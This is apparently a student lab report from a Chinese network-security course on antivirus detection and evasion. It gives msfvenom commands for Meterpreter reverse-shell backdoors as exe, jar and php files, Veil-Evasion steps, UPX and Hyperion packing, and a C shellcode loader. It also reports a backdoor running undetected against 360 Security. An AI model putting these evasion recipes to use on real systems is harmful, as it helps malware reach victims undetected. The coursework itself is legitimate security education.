• 2019-2020-2 20175322周弋鸿《网络对抗技术》Exp3 免杀原理与实践


    一、恶意代码检测机制和免杀原理

    1.恶意软件检测机制

    • 基于特征码的检测
      • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码
      • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库
    • 启发式恶意软件检测
      • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
      • 优点:
        • 可以检测0-day恶意软件
        • 具有一定通用性
      • 缺点:
        • 实时监控系统行为,开销稍多
        • 没有基于特征码的精确度高
    • 基于行为的恶意软件检测
      • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式

    2.免杀技术(Evading AV)

    • 改变特征码

      • 如果你手里只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode(像Meterpreter)
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为

      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 非常规方法

      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

    二、实验内容

    1.任务一:正确使用msf编码器、msfvenom生成如jar之类的其他文件、veil、加壳工具、使用C + shellcode编程、使用其他课堂未介绍方法

    1.正确使用msf编码器,生成exe文件

    • 实验二中使用msf生成了后门程序backdoor5322.exe,使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描

    • 用VirusTotal扫描后结果如下:

    • 一次编码:

      • -e选择编码器,-b是payload中需要清除的字符,该命令中为了使x00不出现在shellcode中,因为shellcode以x00为结束符

      • 生成过程:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.132.1 LPORT=5322 -f exe > encoded1.exe

      • 检测:

    • 十次编码:

      • 使用-i设置迭代次数

      • 生成过程:

      • 检测:

    • 结论:

      • AV厂商研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码
      • msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀
      • 如果使用msfvenom免杀,最好使用原生的模板

    2.msfvenom生成如jar之类的其他文件

    • msfvenom生成jar文件

      • 生成过程:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor_java.jar

      • 检测:

    • mfsvenom生成php文件

      • 生成过程:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.132.1 LPORT=5322 x> zyh_backdoor.php

      • 检测:

    3.veil

    • 安装veil:
      • apt-get install veil

      • cd /usr/share/veil/config/进入文件夹

      • vim setup.sh,编辑第251行,把github仓库改成码云的仓库:https://gitee.com/spears/VeilDependencies.git

      • veil,所有安装默认

      • 安装中显示错误[!] ERROR #2-3: Can't find the WINE profile for AuotIT v3...:

      • 执行如下命令:/usr/share/veil/config/setup.sh --force --silent

      • 执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:

      [I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
      [I] Done!
      
      • 看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具
    • 使用veil-evasion生成后门程序及检测
      • 输入veil指令,进入如下页面:

      • 输入use evasion命令进入veil-evasion:

      • 输入use c/meterpreter/rev_tcp.py进入配置界面:

      • 设置反弹连接IP:set LHOST 192.168.132.138(此处为KaliIP),端口:set LPORT 5322

      • 输入generate生成文件,接着输入你想要payload的名字:veil_c_5322

      • 检测:

    4.加壳工具

    • 使用压缩壳:UPX

      • 给之前的20175322.exe加个壳得到zyh_upxed.exe:

      • 运行之后被判断为威胁:

      • 添加白名单测试反弹连接:

      • 检测:

    • 使用加密壳:Hyperion

      • 将上一个生成的文件拷贝到/usr/share/windows-resources/hyperion/目录中

      • 进入目录/usr/share/windows-resources/hyperion/

      • 输入命令wine hyperion.exe -v zyh_upxed.exe zyh_upxed_Hyperion.exe进行加壳:

      • 检测:

    5.使用C + shellcode编程

    • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.138 LPORT=5322 -f c生成一段shellcode:

    • 创建一个文件20175215.c,然后将unsigned char buf[]赋值到其中,代码如下:

    unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    此处省略
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    }
    
    • 输入i686-w64-mingw32-g++ 20175322.c -o 20175322.exe,将此文件编译为可执行文件:

    • 检测:

    • windows运行后被判断为威胁:

    6.使用其他课堂未介绍方法

    • 使用Veil-Evasion的其他载荷生成后门
      • 输入命令veil启动, 用use evasion命令进入Evil-Evasion

      • 输入list查看其他可用的有效荷载

      • 输入命令use 25

      • 运行generate生成有效载荷,设置目标机IP和端口,选2用Py2Exe生成py程序:

      • 检测:

    2.任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    • 嵌入式Shellcode

    • 手动实现Shellcode的加载工作,只生成shellcode,降低VirusTotal的命中率

    • 使用msf生成一段shellcode

    • 再将其写入shellcode中

    • 结合压缩壳达到了初步免杀的目的

    3.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    • 本机上的联想电脑管家和迈克菲杀毒软件太给力,多次尝试不同的免杀方法都未能成功,最后在虚拟机上下载360安全卫士进行尝试成功
    • 虚拟机:win7;360安全卫士版本:12.1.0.1004 ;备用木马库:2020-03-24
    • 最后我用强力查杀模式查杀时后门被检测出来,然后进行普通查杀也能发现加壳的后门了

    三、基础问题回答与实验感想

    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 杀软检测恶意代码的方式有下列三种:
      • 基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码
      • 启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件
      • 基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式

    (2)免杀是做什么?

    • 通过使用一些特殊手段,让安插在被控机器的恶意代码不被杀毒软件发现

    (3)免杀的基本方法有哪些?

    • 改变特征码(改变机器指令):
      • 有EXE——加壳:压缩壳、加密壳
      • 有shellcode(像Meterpreter)——用encode进行编码、基于playload重新编译生成可执行文件
      • 有源代码——用其他语言进行重写再编译(veil-evasion)
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    2.实验感想

    • 这次实验更加贴近生活实际,不光单单生成后门程序,还要通过各种各样的方式伪装避开杀软获得主机权限
    • 实验中证明:360的保护效果不太理想,迈克菲和联想电脑管家还是靠谱的
    • 对veil有了初步的应用和了解,在免杀方面我还有很多需要学习
  • 相关阅读:
    RASP | 远程Java应用的RASP调试教程
    软考题目
    软考 错题
    rds下载备份集在ECS上恢复(解压到mysql data目录)
    mongodb常用查询
    rds下载备份集在ECS上恢复(解压目录与mysql data目录不同)
    C#调用webservice接口
    org.springframework.web.client.HttpClientErrorException: 429 Too Many Requests
    Jackson: java.util.LinkedHashMap cannot be cast to X
    使用EasyExcel导入excel中的日期格式数据时获取到的却是一个数字
  • 原文地址:https://www.cnblogs.com/zyh5322/p/12598732.html
Copyright © 2020-2023  润新知